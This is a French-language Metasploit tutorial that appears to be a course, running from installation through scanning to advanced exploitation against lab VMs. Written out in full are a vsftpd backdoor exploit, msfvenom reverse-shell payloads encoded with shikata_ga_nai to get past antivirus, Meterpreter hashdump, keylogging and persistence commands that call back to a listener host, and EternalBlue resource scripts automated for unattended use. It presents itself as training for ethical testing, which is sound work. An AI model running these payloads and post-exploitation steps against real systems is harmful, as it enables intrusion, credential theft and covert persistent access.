Metasploit

Metasploit est un framework open-source utilisĂ© pour le test d’intrusion, l’exploitation de vulnĂ©rabilitĂ©s et la simulation d’attaques rĂ©elles. Il permet aux professionnels de la sĂ©curitĂ©, DevOps, MLOps et SecOps de tester et renforcer la rĂ©silience de leurs systĂšmes.


Introduction

Présentation générale du framework Metasploit

Metasploit est un framework open source dĂ©diĂ© aux tests d'intrusion (penetration testing), dĂ©veloppĂ© initialement en Perl puis réécrit en Ruby. Il est aujourd’hui maintenu par Rapid7 et constitue l’un des outils les plus puissants et polyvalents pour l’exploitation de vulnĂ©rabilitĂ©s, la simulation d’attaques, et la validation des dĂ©fenses en cybersĂ©curitĂ©.

Ce framework offre un accĂšs Ă  des centaines d’exploits, payloads, scanners et outils auxiliaires, permettant de tester l’exposition des systĂšmes Ă  des attaques connues. Sa modularitĂ© et son extensibilitĂ© en font une boĂźte Ă  outils de choix pour les experts sĂ©curitĂ© comme pour les dĂ©veloppeurs soucieux de renforcer leurs systĂšmes.

Metasploit est utilisé dans trois grands types de contextes :

  • Red Team (offensif) : simuler les attaques rĂ©elles d’un acteur malveillant
  • Blue Team (dĂ©fensif) : identifier et corriger les vulnĂ©rabilitĂ©s
  • Purple Team : coordination entre Red et Blue pour amĂ©liorer les processus

Il peut ĂȘtre utilisĂ© en ligne de commande via msfconsole, intĂ©grĂ© dans des scripts d’automatisation via son interface RPC, ou contrĂŽlĂ© par une interface web dans sa version Pro.


Objectifs pédagogiques du cours

Ce cours a pour objectif de vous rendre capable :

  1. De comprendre le fonctionnement interne de Metasploit : structure modulaire, types de modules, workflow d’exploitation.
  2. D’utiliser Metasploit dans un environnement automatisĂ© : scripting, intĂ©gration CI/CD, gĂ©nĂ©ration de rapports.
  3. D’identifier et d’exploiter des vulnĂ©rabilitĂ©s connues de maniĂšre Ă©thique.
  4. D'intégrer Metasploit dans un pipeline DevSecOps sans compromettre la sécurité des environnements de développement ou de staging.
  5. D’explorer les possibilitĂ©s avancĂ©es du framework : crĂ©ation de modules personnalisĂ©s, post-exploitation, sĂ©curisation d’APIs ML exposĂ©es, etc.

La finalitĂ© n’est pas seulement de faire de l’exploitation, mais de comprendre comment sĂ©curiser et tester intelligemment ses infrastructures dans des workflows automatisĂ©s.


Pourquoi ce cours est-il utile aux DevOps, MLOps, SecOps et DevSecOps ?

  • DevOps : Pour automatiser les tests de vulnĂ©rabilitĂ©s dans les pipelines CI/CD et Ă©viter les dĂ©ploiements de code ou d’infrastructure vulnĂ©rables.
  • MLOps : Pour sĂ©curiser les APIs d'infĂ©rence, les notebooks partagĂ©s, et comprendre comment un attaquant pourrait compromettre un pipeline d'entraĂźnement ou de dĂ©ploiement.
  • SecOps : Pour intĂ©grer Metasploit dans les outils de monitoring, de dĂ©tection d’intrusion (IDS), ou comme support de scĂ©narios de test dans des labs offensifs.
  • DevSecOps : Pour intĂ©grer les outils offensifs dans une stratĂ©gie dĂ©fensive, former les dĂ©veloppeurs Ă  la sĂ©curitĂ© applicative, et renforcer l’automatisation de la posture sĂ©curitaire de l’organisation.

Environnement de travail recommandé

Le cours se base sur une machine Linux (Kali) ou une machine contenant les outils suivants :

  • Metasploit Framework (Ă  jour)
  • Machines cibles vulnĂ©rables (Metasploitable2, DVWA, OWASP Juice Shop
)
  • Environnement de virtualisation (VirtualBox, VMWare ou solutions cloud)
  • Outils complĂ©mentaires : nmap, nikto, burp suite, curl, gobuster, nessus (si possible), wireshark, etc.

Éthique et lĂ©galitĂ© : une mise en garde essentielle

Ce cours est strictement rĂ©servĂ© Ă  des usages lĂ©gaux et Ă©thiques. Toute tentative d’usage de Metasploit sur un systĂšme que vous ne possĂ©dez pas ou pour lequel vous n’avez pas obtenu une autorisation Ă©crite est illĂ©gale et poursuivable.

Vous devez :

  • Toujours tester sur des environnements isolĂ©s ou explicitement conçus pour cela (CTF, labs, VMs vulnĂ©rables).
  • Documenter vos tests lorsque vous agissez dans un contexte professionnel.
  • Ne jamais utiliser Metasploit contre des machines sur un rĂ©seau d’entreprise ou sur Internet sans consentement explicite.

L’apprentissage de la sĂ©curitĂ© offensive est un puissant levier pour bĂątir des systĂšmes robustes. Il s’accompagne d’une responsabilitĂ© accrue vis-Ă -vis de la loi et des principes d’éthique professionnelle.


Structure pédagogique du cours

Ce tutoriel est progressif : chaque chapitre introduit de nouveaux concepts et outils, illustrés par des cas pratiques. Il est conçu pour que vous puissiez :

  • Reproduire chaque manipulation dans votre propre environnement.
  • Adapter les scripts Ă  vos propres besoins DevSecOps.
  • IntĂ©grer progressivement la sĂ©curitĂ© offensive dans vos workflows CI/CD et infrastructures cloud.

L’ensemble du cours est orientĂ© terrain. Vous n’apprendrez pas uniquement « comment ça marche », mais comment l’intĂ©grer de façon rĂ©aliste Ă  vos pratiques actuelles de DevOps ou de sĂ©curitĂ©.


À partir de maintenant, nous allons plonger dans l’univers Metasploit — non pas comme un simple outil de piratage, mais comme un vĂ©ritable catalyseur de rĂ©silience et de contrĂŽle sur vos systĂšmes.


Chapitre 1 : Prise en main de Metasploit

Ce chapitre constitue la premiÚre étape pratique de votre apprentissage de Metasploit. Il est exhaustif et progressif, destiné à ceux qui ne connaissent rien à Metasploit, avec une approche pas à pas. Chaque commande est expliquée, chaque étape justifiée. Suivez le tutoriel ligne par ligne : vous n'avez pas besoin de chercher ailleurs.


1. Installation et mise Ă  jour du framework Metasploit

🔧 PrĂ©requis

Vous avez besoin :

  • D’une machine Kali Linux (ou Parrot OS), ou bien Ubuntu/Debian avec Metasploit installĂ©.
  • D’une connexion internet.
  • De droits administrateur (utilisation de sudo).

🐧 Option 1 : Kali Linux (recommandĂ©)

Metasploit est déjà installé sur Kali Linux. Vérifions-le :

which msfconsole

Si une ligne comme /usr/bin/msfconsole s'affiche, c’est bon. Sinon, installez Metasploit avec :

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

🐧 Option 2 : Ubuntu/Debian standard

sudo apt update
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

⏫ Mise Ă  jour

Pour ĂȘtre Ă  jour avec les derniers exploits :

sudo msfupdate

Patientez : cela peut prendre quelques minutes.


2. Structure du framework Metasploit

Metasploit est composé de plusieurs outils intégrés :

ComposantRĂŽle principal
msfconsoleInterface interactive principale (CLI)
msfvenomGénérateur de payloads (reverse shells, bind shells, etc.)
modulesExploits, payloads, scanners, post-exploitation, etc.
meterpreterShell avancé post-exploitation (utilisé aprÚs un accÚs)

📂 OĂč sont stockĂ©s les modules ?

cd /usr/share/metasploit-framework/modules

Vous verrez :

  • exploits/
  • auxiliary/
  • payloads/
  • post/
  • encoders/

Chaque dossier contient des scripts Ruby exploitables via msfconsole.


3. Utilisation de msfconsole

Lancez Metasploit :

msfconsole

Patientez quelques secondes. Vous verrez une banniĂšre ASCII.

đŸ”€ Commandes de base Ă  connaĂźtre

help # Affiche l'aide complÚte search # Recherche un module use # Charge un module info # Affiche les infos sur le module sélectionné set # Définit une option (ex: IP, port...) show options # Affiche les options nécessaires au module exploit ou run # Lance l'exploitation exit # Quitte msfconsole

🔎 Exemple de recherche

search vsftpd

Résultat :

exploit/unix/ftp/vsftpd_234_backdoor

4. Premier exploit : vsftpd 2.3.4 Backdoor

Nous allons exploiter une vulnérabilité classique présente dans la machine Metasploitable2 (VM vulnérable volontairement).

📩 Étape 1 : Lancer Metasploitable2

Ouvrez votre hyperviseur (VirtualBox ou VMWare) et lancez la machine Metasploitable2. Notez son IP avec :

ifconfig

Ex : 192.168.56.101

🚀 Étape 2 : Revenir dans votre Kali et ouvrir msfconsole

msfconsole

🔍 Étape 3 : Chercher le module

search vsftpd

Choisissez :

exploit/unix/ftp/vsftpd_234_backdoor

đŸ“„ Étape 4 : Charger le module

use exploit/unix/ftp/vsftpd_234_backdoor

⚙ Étape 5 : Afficher et dĂ©finir les options

show options set RHOSTS 192.168.56.101

Ajustez l’IP si nĂ©cessaire.

🎯 Étape 6 : Lancer l’exploit

exploit

Si la machine est vulnérable, vous aurez un shell root immédiatement.

✅ RĂ©sultat attendu :

[*] Command shell session 1 opened...

Vous pouvez taper id ou uname -a pour vĂ©rifier que vous ĂȘtes bien sur la machine distante.

đŸ§č Étape 7 : Fermer la session

exit

🔁 Recapitulatif des commandes utilisĂ©es

msfconsole search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.56.101 show options exploit id uname -a exit

💡 Astuces pour dĂ©buter avec Metasploit

  • Utilisez tab pour l'autocomplĂ©tion.
  • Tapez back pour sortir d’un module.
  • Utilisez setg au lieu de set pour dĂ©finir une option globalement.
  • Lisez toujours la description (info) d’un module avant de l’utiliser.
  • Ne soyez pas pressĂ© : chaque module est diffĂ©rent.

✅ Vous avez terminĂ© le chapitre 1

Vous ĂȘtes maintenant capable de :

  • Installer Metasploit
  • Lancer et utiliser msfconsole
  • Rechercher et utiliser un module
  • Exploiter une vulnĂ©rabilitĂ© simple

Nous allons dans le chapitre 2 plonger plus profondément dans les types de modules et leur articulation.

Ne supprimez pas Metasploitable2 — elle vous servira de terrain de jeu pour la suite !


Chapitre 2 : Comprendre les modules Metasploit

Dans ce chapitre, vous allez apprendre ce que sont les modules Metasploit, comment ils sont organisés, comment ils interagissent, et comment créer votre propre module personnalisé. Ce chapitre est conçu pour que vous puissiez suivre chaque étape sans avoir à réfléchir ni chercher ailleurs.


1. Les différents types de modules dans Metasploit

Metasploit est entiĂšrement modulaire. Chaque action — scanner, exploit, post-exploitation — est implĂ©mentĂ©e sous forme de module Ruby indĂ©pendant. Voici les grands types de modules que vous devez connaĂźtre :

Type de moduleRĂŽle principal
exploitExploite une vulnérabilité pour obtenir un accÚs
payloadCode à exécuter aprÚs exploitation (ex: shell)
auxiliaryOutils de scan, bruteforce, sniffing, DoS, etc.
postActions aprÚs une compromission réussie
encoderEncode un payload pour éviter la détection
nopGénÚre des "No Operation" (utile pour aligner le shellcode)

📁 OĂč sont stockĂ©s les modules ?

cd /usr/share/metasploit-framework/modules

Vous verrez ces dossiers :

  • exploits/
  • payloads/
  • auxiliary/
  • post/
  • encoders/
  • nops/

Chaque module est un fichier .rb écrit en Ruby.


2. EnchaĂźnement logique des modules

🔁 Le cycle type d’exploitation dans Metasploit :

scanner → exploit → payload → post

1ïžâƒŁ scanner

Avant d’attaquer, il faut identifier les services actifs sur la cible.

use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.101 run

2ïžâƒŁ exploit

Utilise une faille connue pour injecter un payload.

use exploit/unix/ftp/vsftpd_234_backdoor

3ïžâƒŁ payload

Code Ă  exĂ©cuter une fois l’accĂšs obtenu (ex: shell, meterpreter, etc.)

Exemples :

  • cmd/unix/interact
  • linux/x86/meterpreter/reverse_tcp

Metasploit sélectionne souvent automatiquement un payload compatible. Pour lister les payloads compatibles :

show payloads

Puis :

set PAYLOAD linux/x86/meterpreter/reverse_tcp

4ïžâƒŁ post

Utilisé aprÚs une session active (ex : extraction de mots de passe, mouvement latéral).

use post/linux/gather/hashdump

🧠 Important : ces modules peuvent ĂȘtre utilisĂ©s manuellement ou scriptĂ©s dans des automatisations (chapitre 5).


3. Étude de cas : analyse du module exploit/unix/ftp/vsftpd_234_backdoor

📂 Chemin :

/usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

Ouvrez le fichier avec votre éditeur préféré (ex : nano, vim, code) :

sudo nano /usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb

🔍 Analyse ligne par ligne (extrait simplifiĂ©)

class MetasploitModule < Msf::Exploit::Remote

Ce module hérite de la classe Msf::Exploit::Remote, ce qui en fait un exploit réseau.

def initialize(info = {}) super(update_info(info, 'Name' => 'vsftpd 2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. }, 'Author' => ['hdm'], 'Payload' => {'Compat' => {'PayloadType' => 'cmd_interact', 'RequiredCmd' => 'telnet'}}, 'Platform' => 'unix', 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0))

Ici sont définis les métadonnées du module (nom, description, auteur, compatibilité, etc.)

def exploit connect sock.put("USER test:) \n") sock.put("PASS whatever\r\n") handler disconnect end

C’est ici que la magie opĂšre : la backdoor s’active avec un USER spĂ©cial, et ouvre un shell sur le port 6200. Le module s’y connecte automatiquement.


4. Créer son propre module Metasploit (niveau débutant)

Nous allons créer un petit module personnalisé qui simule une attaque triviale : afficher un message.

1ïžâƒŁ CrĂ©ez le fichier

sudo mkdir -p ~/.msf4/modules/auxiliary/example sudo nano ~/.msf4/modules/auxiliary/example/hello_world.rb

2ïžâƒŁ Collez ce contenu minimal :

require 'msf/core' class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Hello World Module', 'Description' => 'Affiche un message personnalisé', 'Author' => ['Vous'], 'License' => MSF_LICENSE ) end def run print_status("Hello from your first Metasploit module!") end end

3ïžâƒŁ Rechargez les modules dans Metasploit

msfconsole reload_all

Puis :

use auxiliary/example/hello_world run

✅ RĂ©sultat attendu :

[*] Hello from your first Metasploit module!

Félicitations, vous venez de créer et exécuter votre premier module !


🧠 À retenir

  • Les modules sont la base de tout dans Metasploit.
  • Ils sont classĂ©s par type et par cible (OS/service).
  • Ils sont enchaĂźnĂ©s dans un pipeline logique.
  • Ils peuvent ĂȘtre lus, modifiĂ©s, ou créés si vous avez des bases en Ruby.

✅ Objectifs atteints

Maintenant, vous savez :

  • Identifier tous les types de modules Metasploit
  • Comprendre l’enchaĂźnement exploit → payload → post
  • Lire le code d’un module existant et en comprendre le fonctionnement
  • CrĂ©er un module simple en Ruby

Dans le chapitre suivant, nous verrons comment utiliser les scanners intégrés de Metasploit pour effectuer une reconnaissance active sur des cibles vulnérables, en complément ou en alternative à nmap.

Vous pouvez maintenant ouvrir n’importe quel module .rb et comprendre ce qu’il fait.


Chapitre 3 : Scanning et reconnaissance

Ce chapitre vous apprendra à scanner un réseau, identifier des services, détecter des vulnérabilités connues, et intégrer d'autres outils comme nmap, nikto ou nessus dans un flux de travail offensif. Ce tutoriel est exhaustif, 100% guidé : vous n'avez rien à deviner ni chercher ailleurs.


1. Introduction Ă  la reconnaissance

Avant de lancer un exploit, il est essentiel de connaĂźtre la cible :

  • Quels ports sont ouverts ?
  • Quels services tournent ?
  • Quelle version du systĂšme d’exploitation est utilisĂ©e ?
  • Quelles vulnĂ©rabilitĂ©s connues sont prĂ©sentes ?

Ce travail s'appelle reconnaissance active, et il constitue l'étape 0 de toute attaque maßtrisée.


2. Port scanning avec Metasploit (scanner TCP)

📍 Objectif : dĂ©tecter les ports ouverts d’une cible

1ïžâƒŁ Lancer msfconsole

msfconsole

2ïžâƒŁ Rechercher un scanner TCP

search portscan

Résultat :

auxiliary/scanner/portscan/tcp

3ïžâƒŁ Utiliser le module

use auxiliary/scanner/portscan/tcp

4ïžâƒŁ DĂ©finir les options

set RHOSTS 192.168.56.101 # Remplacez par l'IP cible set THREADS 10 # Nombre de threads en parallĂšle set PORTS 1-1000 # Plage de ports Ă  scanner

5ïžâƒŁ Lancer le scan

run

✅ RĂ©sultat attendu

Vous verrez une liste de ports ouverts, par exemple :

[*] 192.168.56.101:21 - TCP OPEN [*] 192.168.56.101:22 - TCP OPEN

3. Scanner de services avec Metasploit

Une fois les ports trouvés, il faut identifier les services actifs.

🔍 Exemple : identifier les versions de FTP, SSH...

1ïžâƒŁ Scanner FTP

use auxiliary/scanner/ftp/ftp_version set RHOSTS 192.168.56.101 run

2ïžâƒŁ Scanner SSH

use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.56.101 run

3ïžâƒŁ Scanner HTTP

use auxiliary/scanner/http/http_version set RHOSTS 192.168.56.101 set RPORT 80 run

Ces modules renvoient les banniÚres des services (informations précieuses pour l'identification des vulnérabilités).


4. Détection de vulnérabilités avec auxiliary/scanner/*

Metasploit fournit des scanners capables de tester des failles connues sans forcément exploiter.

🔎 Exemples pratiques

1ïžâƒŁ Scanner FTP anonyme

use auxiliary/scanner/ftp/anonymous set RHOSTS 192.168.56.101 run

Résultat : accÚs FTP sans mot de passe possible.

2ïžâƒŁ Scanner SMB vulnĂ©rable (EternalBlue)

use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.56.101 run

Résultat : vous saurez si la machine est vulnérable à MS17-010 (faille célÚbre).

3ïžâƒŁ Scanner MySQL sans mot de passe

use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.56.101 set USERNAME root set PASSWORD '' run

🧠 Ces modules ne modifient pas le systĂšme cible. Ils sont sĂ»rs Ă  utiliser en reconnaissance.


5. Utilisation de nmap dans Metasploit

Metasploit peut intégrer les résultats de nmap pour enrichir ses propres données.

1ïžâƒŁ Lancer un scan avec nmap en XML

nmap -sS -sV -T4 -oX nmap_results.xml 192.168.56.101
  • -sS : scan SYN
  • -sV : dĂ©tection de version
  • -T4 : vitesse
  • -oX : sortie XML (obligatoire pour l'import)

2ïžâƒŁ Importer les rĂ©sultats dans Metasploit

msfconsole db_import nmap_results.xml

3ïžâƒŁ VĂ©rifier les hĂŽtes dĂ©couverts

hosts services vulns

6. Intégration avec nikto (scanner web)

nikto est un outil complémentaire pour analyser les failles web.

1ïžâƒŁ Installation

git clone https://github.com/sullo/nikto # Main script is in program/ cd nikto/program # Run using the shebang interpreter ./nikto.pl -h http://www.example.com # Run using perl (if you forget to chmod) perl nikto.pl -h http://www.example.com

2ïžâƒŁ Lancer un scan

nikto -h http://192.168.56.101

Résultat :

  • XSS
  • Configuration Apache exposĂ©e
  • Fichiers .bak accessibles

Ces rĂ©sultats peuvent ĂȘtre utilisĂ©s pour choisir les bons modules exploit dans Metasploit ensuite.


7. Intégration avec Nessus (scanner de vulnérabilités complet)

⚠ Remarque : Nessus est un outil propriĂ©taire. Vous devez crĂ©er un compte gratuit sur le site de Tenable pour l’utiliser (version d’évaluation).

1ïžâƒŁ TĂ©lĂ©chargement :

https://www.tenable.com/products/nessus

2ïžâƒŁ Installation sur Kali (exemple)

sudo dpkg -i Nessus-*.deb sudo systemctl start nessusd.service

Interface Web : https://127.0.0.1:8834

3ïžâƒŁ Exporter les rĂ©sultats au format .nessus ou .xml, puis importer dans Metasploit :

db_import rapport_nessus.xml

8. Recommandations pour automatiser la reconnaissance

  • Utilisez resource scripts pour rejouer des sĂ©quences (ex : scan + test vulnĂ©rabilitĂ©).
  • Combinez nmap + nikto + Metasploit pour une couverture large.
  • Centralisez les rĂ©sultats avec la base de donnĂ©es interne de Metasploit (hosts, services, vulns).

✅ Objectifs atteints

Dorénavant, vous savez :

  • Utiliser les scanners intĂ©grĂ©s de Metasploit
  • Analyser les services et ports d’une machine distante
  • DĂ©tecter des vulnĂ©rabilitĂ©s sans exploiter
  • IntĂ©grer les rĂ©sultats de nmap, nikto et nessus dans Metasploit

Dans le prochain chapitre, vous apprendrez Ă  passer Ă  l’exploitation avancĂ©e, avec des payloads personnalisĂ©s, des contournements d’antivirus et l’utilisation de Meterpreter pour la post-exploitation.

Vous ĂȘtes dĂ©sormais capable de cartographier une cible comme un professionnel.


Chapitre 4 : Exploitation avancée

Dans ce chapitre, vous allez découvrir comment exploiter une CVE réelle, choisir intelligemment entre reverse shell et bind shell, échapper aux antivirus avec msfvenom, et utiliser les fonctions de post-exploitation de Meterpreter. Ce chapitre vous guide pas à pas, comme si vous étiez accompagné.


1. Exploitation d’une vulnĂ©rabilitĂ© CVE rĂ©elle : CVE-2021-3156 (sudo Baron Samedit)

Cette vulnérabilité permet une élévation de privilÚges locale sur des systÚmes Linux vulnérables.

1ïžâƒŁ VĂ©rifier la prĂ©sence du module

Lancer Metasploit :

msfconsole

Chercher le module :

search sudo cve-2021-3156

Résultat attendu :

exploit/linux/local/sudo_baron_samedit

2ïžâƒŁ Utiliser le module

use exploit/linux/local/sudo_baron_samedit

3ïžâƒŁ Configurer les options

set SESSION 1 # Une session utilisateur dĂ©jĂ  compromise doit ĂȘtre active set LPORT 4444 # Port d’écoute si payload reverse set TARGET 0 # Choix automatique du systĂšme

💡 Le module requiert une session active (gĂ©nĂ©ralement via un premier exploit ou accĂšs SSH limitĂ©).

4ïžâƒŁ Lancer l’exploitation

run

✅ RĂ©sultat : Ă©lĂ©vation de privilĂšges Ă  root.

Ce module illustre comment enchaĂźner plusieurs Ă©tapes : accĂšs initial ➝ Ă©lĂ©vation ➝ post-exploitation.


2. Payloads : reverse shell vs bind shell

🔁 Qu’est-ce qu’un payload ?

C’est le code qui s’exĂ©cutera aprĂšs l’exploitation pour Ă©tablir une communication avec l’attaquant.

⚖ Comparatif

TypeFonctionnementAvantageInconvénient
Reverse shellLa cible initie une connexion vers l'attaquantBypass firewall entrantBesoin d'un listener actif
Bind shellLa cible ouvre un port et écouteFacile à implémenterBloqué si firewall en entrée

🎯 Choix recommandĂ©

  • RĂ©seau privĂ© = bind shell possible
  • RĂ©seau protĂ©gĂ© (NAT, pare-feu) = reverse shell recommandĂ©

đŸ§Ș Test : gĂ©nĂ©rer un reverse shell Linux avec msfvenom

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf > shell.elf chmod +x shell.elf

Lancer le listener dans Metasploit :

use exploit/multi/handler set PAYLOAD linux/x86/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run

Puis exécuter le payload sur la cible :

./shell.elf

3. Évasion antivirus avec msfvenom et encoders

Les antivirus détectent souvent les payloads générés. Il faut donc les encoder.

đŸŽ›ïž Syntaxe d’un payload encodĂ©

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > shell.exe
  • -e x86/shikata_ga_nai : encodeur
  • -i 5 : nombre d’itĂ©rations (plus = mieux cachĂ©)
  • -f exe : format pour Windows

⚠ Ce n’est pas infaillible. Certains antivirus modernes dĂ©tectent mĂȘme les payloads encodĂ©s. On utilise parfois des packers (UPX) ou la compilation d’un stub C personnalisĂ©.


4. Post-exploitation avec Meterpreter

Lorsque l’exploitation rĂ©ussit, vous entrez dans une session Meterpreter. C’est une shell amĂ©liorĂ© avec de nombreuses commandes de contrĂŽle.

🔑 1ïžâƒŁ Capturer les hash de mots de passe

hashdump

⚠ NĂ©cessite les droits administrateur/root sur la cible.

📾 2ïžâƒŁ Prendre une capture d’écran

screenshot

đŸ“č 3ïžâƒŁ Keylogging (enregistrement de frappes)

keyscan_start # Attendre un peu que la victime tape... keyscan_dump keyscan_stop

🧬 4ïžâƒŁ Persistance (crĂ©er un accĂšs permanent)

run persistence -X -i 30 -p 4444 -r 192.168.56.1
  • -X : dĂ©marre au boot
  • -i 30 : tente de se reconnecter toutes les 30 secondes
  • -p et -r : port et IP du listener

đŸ§č 5ïžâƒŁ Élever les privilĂšges

getuid # Voir l’identitĂ© actuelle getsystem # Essaye d’obtenir les privilĂšges SYSTEM

🔄 6ïžâƒŁ Migrer vers un autre processus

Pour éviter la fermeture de session (ex: quitter Notepad.exe et migrer vers explorer.exe)

ps # Lister les processus migrate PID # Migrer vers un PID donné

5. Automatiser l’exploitation + post-exploitation

Créer un script .rc contenant toutes les commandes :

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit

Sauvegarder sous eternalblue.rc, puis exécuter :

msfconsole -r eternalblue.rc

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • Exploiter une CVE rĂ©elle avec Metasploit
  • Choisir entre reverse et bind shell selon le contexte
  • GĂ©nĂ©rer un payload difficile Ă  dĂ©tecter
  • Utiliser Meterpreter pour automatiser la post-exploitation

Dans le chapitre suivant, vous apprendrez Ă  automatiser l’ensemble de votre workflow Metasploit, Ă  l’intĂ©grer dans des pipelines DevSecOps, et Ă  crĂ©er vos scripts .rc et jobs CI/CD sĂ©curisĂ©s.

Vous ĂȘtes dĂ©sormais en mesure de compromettre une machine, de maintenir l'accĂšs, et d’en extraire des donnĂ©es en toute discrĂ©tion.


Chapitre 5 : Automatisation avec Metasploit

Dans ce chapitre, vous allez apprendre à automatiser vos attaques Metasploit, à créer des scripts .rc, à les exécuter sans intervention humaine avec msfconsole -r, et à intégrer ces tests dans un pipeline CI/CD, comme dans une vraie stratégie SecOps. Tout est expliqué étape par étape, pour que vous puissiez reproduire chaque action sans réfléchir ni chercher ailleurs.


1. Qu’est-ce qu’un script .rc ?

Un resource script (.rc) est un fichier texte contenant une suite de commandes msfconsole, exĂ©cutĂ©es automatiquement dans l’ordre.

C’est l’équivalent de jouer un scĂ©nario complet sans interaction manuelle.

✅ Avantages :

  • ReproductibilitĂ©
  • Gain de temps Ă©norme
  • IntĂ©gration facile dans des scripts shell ou CI/CD

2. Créer un premier script .rc

Objectif : Exploiter automatiquement une cible vulnérable sur le port SMB (CVE EternalBlue).

Étapes manuelles :

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 exploit

Écrire ces commandes dans un fichier :

nano exploit_eb.rc

Collez ceci :

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
exploit -z
  • -z = ne pas interagir avec la session créée (utile pour scripts).

Exécuter le script :

msfconsole -r exploit_eb.rc

✅ RĂ©sultat attendu : exploitation complĂšte sans interaction manuelle.


3. Exemple : automatiser scan + exploitation

Créer un fichier scan_and_exploit.rc :

nano scan_and_exploit.rc

Contenu :

us auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.101
set PORTS 445
run

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
exploit -z

Lancer le script :

msfconsole -r scan_and_exploit.rc

💡 Vous pouvez enregistrer l’output automatiquement avec :

msfconsole -r scan_and_exploit.rc -o rapport.log

4. Ajouter des post-exploitations automatiques

Vous pouvez enchaĂźner des actions Meterpreter via sessions -i et run.

Ajoutez Ă  la fin de votre script :

sessions -i 1
getuid
hashdump
run persistence -X -i 60 -p 4444 -r 192.168.56.1
exit

⚠ Le numĂ©ro de session (1) dĂ©pend du contexte. Pour automatiser, prĂ©fĂ©rez l’option -z + script sĂ©parĂ© de post-exploitation.


5. Intégrer Metasploit dans un pipeline CI/CD (ex: GitLab CI)

🎯 Objectif : Tester automatiquement une image Docker vulnĂ©rable

1ïžâƒŁ Dockerfile d’image vulnĂ©rable (dans repo GitLab)

FROM vulnerables/web-dvwa EXPOSE 80

2ïžâƒŁ .gitlab-ci.yml :

stages: - scan scan_with_metasploit: stage: scan image: kalilinux/kali-rolling script: - apt update && apt install -y metasploit-framework - echo "use auxiliary/scanner/http/http_version" > test.rc - echo "set RHOSTS 172.17.0.2" >> test.rc - echo "set RPORT 80" >> test.rc - echo "run" >> test.rc - msfconsole -r test.rc -q -o resultat.txt artifacts: paths: - resultat.txt

💡 Le script ci-dessus :

  • CrĂ©e un fichier test.rc Ă  la volĂ©e
  • Lance un scan HTTP sur la cible Docker
  • Enregistre les rĂ©sultats dans resultat.txt

6. Bonnes pratiques pour les tests automatisés (SecOps)

✅ Toujours cibler un environnement contrĂŽlĂ© et isolĂ© (staging, lab, conteneur).

✅ Ne jamais lancer un .rc sur une prod rĂ©elle sans validation humaine.

✅ Coupler les scripts avec des outils comme nmap, Nikto, ou des alertes Prometheus pour corrĂ©lation d'Ă©vĂ©nements.

✅ Garder tous les logs et les inclure dans un dashboard de sĂ©curitĂ© (Ex: ELK, Grafana).

✅ Versionner vos scripts .rc comme du code standard.

✅ Documenter chaque test (nom du module, CVE, effet attendu, risques).


7. Astuce bonus : générer dynamiquement un .rc avec Python

rhost = "192.168.56.101" lhost = "192.168.56.1" with open("autogen.rc", "w") as f: f.write(f"use exploit/windows/smb/ms17_010_eternalblue\n") f.write(f"set RHOSTS {rhost}\n") f.write(f"set PAYLOAD windows/x64/meterpreter/reverse_tcp\n") f.write(f"set LHOST {lhost}\n") f.write(f"set LPORT 4444\n") f.write("exploit -z\n")

✅ Objectifs atteints

À la fin de ce chapitre, vous savez :

  • CrĂ©er et exĂ©cuter des scripts .rc
  • Automatiser un scan + exploitation + post-exploitation
  • IntĂ©grer Metasploit dans un pipeline CI/CD
  • Suivre les bonnes pratiques de tests de sĂ©curitĂ© automatisĂ©s en SecOps

Dans le chapitre suivant, vous apprendrez comment intégrer Metasploit dans une architecture DevSecOps complÚte, avec Jenkins, GitLab, Terraform, conteneurs et environnements de staging sécurisés.

Vous ĂȘtes maintenant capable d’orchestrer des attaques reproductibles, documentĂ©es et traçables comme un professionnel de la sĂ©curitĂ© offensive.


Chapitre 6 : Metasploit dans une architecture DevSecOps

Ce chapitre vous apprend Ă  intĂ©grer Metasploit dans une architecture DevSecOps. Vous dĂ©couvrirez comment l’automatiser dans des pipelines Jenkins ou GitLab CI/CD, comment produire des rapports lisibles, et surtout comment ne jamais compromettre un environnement sensible par erreur. Le tutoriel est conçu pour ĂȘtre 100% exĂ©cutable sans effort.


1. Pourquoi intégrer Metasploit dans DevSecOps ?

Les outils offensifs comme Metasploit ne servent pas uniquement aux pentesters. Intégrés dans une logique DevSecOps, ils permettent :

✅ De dĂ©tecter les vulnĂ©rabilitĂ©s tĂŽt, dĂšs les phases de build et de staging.

